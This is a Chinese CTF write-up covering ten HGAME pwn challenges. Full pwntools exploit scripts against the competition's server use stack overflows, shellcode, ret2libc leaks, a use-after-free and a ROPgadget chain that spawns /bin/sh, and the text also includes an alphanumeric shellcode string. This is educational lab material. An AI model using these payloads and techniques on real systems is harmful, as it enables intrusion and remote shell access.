1. 程式人生 > >HGAME 2017 or 2018 PWN levels

HGAME 2017 or 2018 PWN levels

這個算是做之前的復現吧,感謝Veritas501

WEEK1

1.flag server

拖進IDA看一下

流程倒著看,要有flag-----v8=1-----v5=v6-----s1=admin,我們可以把s1覆蓋掉-----username長度不能大於63,不能等於0-----之後還要猜出隨機數v6,看一下怎麼覆蓋

這些變數都在一起,美滋滋

exp

from pwn import *

cn=remote('111.230.149.72',30001)

cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()

2.guess number

scanf直接溢位就好了,如下

a1和nptr的偏移量 0x10C+0x8

exp

from pwn import *

cn=remote('111.230.149.72',30002)

cn.sendline("xiaoyuyu")

payload='0'*(0x10C+0x8)+p64(0)

cn.send(payload)

cn.interactive()

3.zazahui

這次有兩個檔案,古天樂和正常的

拖進IDA

裡面兩個函式,第一個是個file open之類的,讀取flag和ad的值,第二個函式如下

感覺沒啥溢位的地方,跟進函式sub_8048634

基本可以猜測出就是個read函式,範圍是188,我們可以看到s1的範圍從0xC0到0x10,只有176,那麼這個函式就溢位了,把讀取的地址改到flag的地址,同時有一點要注意,要把v3變成100,不然flag讀不出來

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./zazahui')
        bin = ELF('./zazahui')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30003)
        bin = ELF('./zazahui')
        libc = ELF('./libc32.so')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)

cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

WEEK2

4.bash jail

可還行,拖進IDA看一下

我第一反應是把Lineptr改成/bin/sh

分析一下里面的函式,400706裡面的意思是如果開頭輸入的是(a,b,c,f,h,g,i,l,n,s,t,*)會輸出hacker!! go away~~ QAQ

那我們輸入數字試一下,情況如下

大概瞭解了,應該是shell的指令碼,在shell裡面有如下這些

我就試著$0,然後打我想要的指令,竟然成功了,原理要是不是這樣的,不要噴我,請指正

exp

from pwn import *

cn=remote('111.230.149.72',30004)

#cn=process('./bash_jail')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')

payload='$0'
cn.sendline(payload)
cn.interactive()

5.ez shellcode

開啟了棧保護,去IDA看看

system函式之類的貌似都沒有,猜測要洩露,不過看見直接可以直接執行我們要的shellcode,那就直接造一個就好了

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./ez_shellcode')
        bin = ELF('./ez_shellcode')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30005)
        bin = ELF('./ez_shellcode')
        libc = ELF('libc32.so')

cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload=asm(shellcraft.sh())
cn.sendline(payload)
cn.interactive()

6.hacker system ver1

這四個功能裡肯定有問題,找溢位點,拖進IDA逐個分析

exit函式沒啥用,就是個exit(0)

然後沒有system函式之類的,這回真要洩露了,先洩露某個函式的got,然後與libc中對比找偏移量,然後把system函式和/bin/sh的記憶體地址都找出來

裡面有個函式叫read_n的函式,可以讀取我們想到位元組長度的資料,add和del函式中都有的,但是del裡面的用起來方便一點,就選擇了del的,本來想有一個write之類的函式來洩露一下,但沒有,就拿puts函式的地址來洩露,其實都一樣,至於read_n函式要讀取的size大小,自己算一下就好了

具體做法:

1.在read_n中填充s1的空間,並覆蓋掉ebp;

2.修改eip為puts的函式地址,讓其執行,然後洩露我們想要的地址,並將puts函式的返回地址再次改為主函式以便我們繼續利用;

3.通過洩露的地址來與libc檔案中的地址進行對比,算出偏移量,一邊找出system函式和/bin/sh的在記憶體中的真實地址

4.再次溢位read_n函式,執行我們需要的函式system

注:我自己後來洩露puts_got表地址不行,就換成別的函數了,就可以了,也是迷,而且直接把

但是一直都不行,我起初以為是del怎麼了,就換成了print,後來參考了別人的的值,發現應該是需要將自己的rop放在bss欄位上可以讀的位置上去才行,也算是繞了個彎,反正也是神奇,有些地方就不會,emmmm

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./hacker_system_ver1')
        bin = ELF('./hacker_system_ver1')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30007)
        bin = ELF('./hacker_system_ver1')
        libc = ELF('libc32.so')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()


cn.recvuntil('Input your token:')
cn.sendline('xiaoyuyu')
printf_addr=0x08048A20
main_addr=0x08048C1D

padding='a'*(0x34+0x04)
payload=padding+p32(bin.plt['puts'])+p32(main_addr)+p32(bin.got['__libc_start_main'])
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload)

cn.recvuntil('\n')

start_main_addr = u32(cn.recv(4))
print hex(start_main_addr)


base=start_main_addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
bin_sh=base+libc.search('/bin/sh').next()

payload2=padding+p32(system_addr)+p32(0xdeadbeaf)+p32(bin_sh)
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload2)
cn.interactive()

#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

7.ez_shellcode

這題不知道和第五題有什麼聯絡,拖進IDA看一下

分析一波,就是buf不能是A~Z,1~9,不然就break,但是break出去好像正是我們想要的

僅限制shellcode是a~zA~Z0~9範圍內,這樣的shellcode叫alpha shellcode,利用msfencode可以生成,真的是學到了

連結:https://blog.csdn.net/v_ling_v/article/details/42824007

exp

from pwn import *
cn=remote('111.230.149.72',30006)
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA''')
cn.interactive()

這題還沒有能力糾結太久,說起來也慚愧,只能拿別人做好的shellcode來用

WEEK3

8.hacker system ver2

這一題就是把32位改成64位,注意一下引數傳遞的順序就好了

exp

#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./hacker_system_ver2')
	bin = ELF('./hacker_system_ver2')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30009)
	bin = ELF('./hacker_system_ver2')
	libc = ELF('./libc64.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()


rdi_addr=0x0000000000400fb3
main_addr=0x0000000000400E80
payload='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin.got['__libc_start_main'])+p64(bin.symbols['puts'])+p64(main_addr)

cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload)

cn.recvuntil('\n')
base=u64(cn.recv(6)+'\x00'*2)-libc.symbols['__libc_start_main']
system_addr=libc.symbols['system']+base
bin_sh=libc.search('/bin/sh').next()+base


payload2='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)+'aaaaaaaa'
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload2)

cn.interactive()


cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

9.message saver

乍一看和之前的差不多,但是憑直覺覺得是堆,看完真的是堆,看一下哪裡有問題吧,如下

這裡顯然是可以double free的,我們需要的函式也有,如下

看一下我們malloc的結構,我是結合IDA和程式執行流程直接猜的

可以看到add的時候,建立了兩個chunk

第二個chunk結構大概是:ptr|message|encode

我們刪掉之後沒有賦0,因此可以修改或者覆蓋後後繼續呼叫

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./message_saver')
	bin = ELF('./message_saver')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30010)
	bin = ELF('./message_saver')
	libc = ELF('libc64.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()

key=0x0000000000400816
payload='a'*0x10+p64(key)

#cn.recv()
#cn.sendline('xiaoyuyu')

cn.recvuntil('> ')
cn.sendline('1')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline('xiaoyuyu')
cn.recvuntil('===')
cn.sendline('2')

cn.recvuntil('>')
cn.sendline('4')

cn.recvuntil('>')
cn.sendline('2')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline(payload)

#cn.recvuntil('>')
#cn.sendline('3')

cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

10.calc

這不會也是堆溢位之類的吧,拖進IDA看看,反正功能還是可以看出來是一個計算器

我自己找溢位找了半天…………後來發現有個變數沒有限制,如下

然後這個檔案還有一個特點,就是他是一個靜態連結的檔案,我剛開始是完全不知道要幹嘛的,然後看了別人的WP,說可以用rop chain來搞定,目前還不太清楚原理,只知道算是shellcode的一種吧?還沒弄懂

不管,先看一下溢位的偏移量,如下

偏移量就是0x110-0x10=0x100

第一種方法最無腦,利用ROPgadget的ropchain功能,對於靜態編譯的程式,很容易可以生成一個rop鏈,將rop鏈覆蓋在返回地址處即可,缺點就是這種自動ropchain一般性很長,如果有一些情況限制了長度就會有麻煩,這題倒不用考慮這一點

ROPgadget --binary calc --ropchain就可以自動生成,結果如下

emmmmm,的確是比較長

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./calc')
	bin = ELF('./calc')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30008)
	bin = ELF('./calc')
	libc = ELF('libc32.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()


from struct import pack

# Padding goes here
p = 'a'*0x100
p+=p32(0x40)
p+=p32(0)
p+='a'*0xc
	
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dee5d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0806d445) # int 0x80

for i in range(len(p)/4):
    cn.sendline('1')
    cn.recvuntil('a:')
    cn.sendline('0')
    cn.recvuntil('b:')
    cn.sendline(str(u32(p[4*i:4*i+4])))
    cn.sendline('5')

cn.sendline('6')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

其實就是每一次add的時候修改一些eip,最後在exit時,被修改的eip就會跳轉到我們想執行的指令上去,為什麼每次只讀4個位元組主要是因為輸入的範圍不能超過int的範圍,而且畢竟是32位的程式,ropchain中的指令所在的地址每條也是四個位元組大小的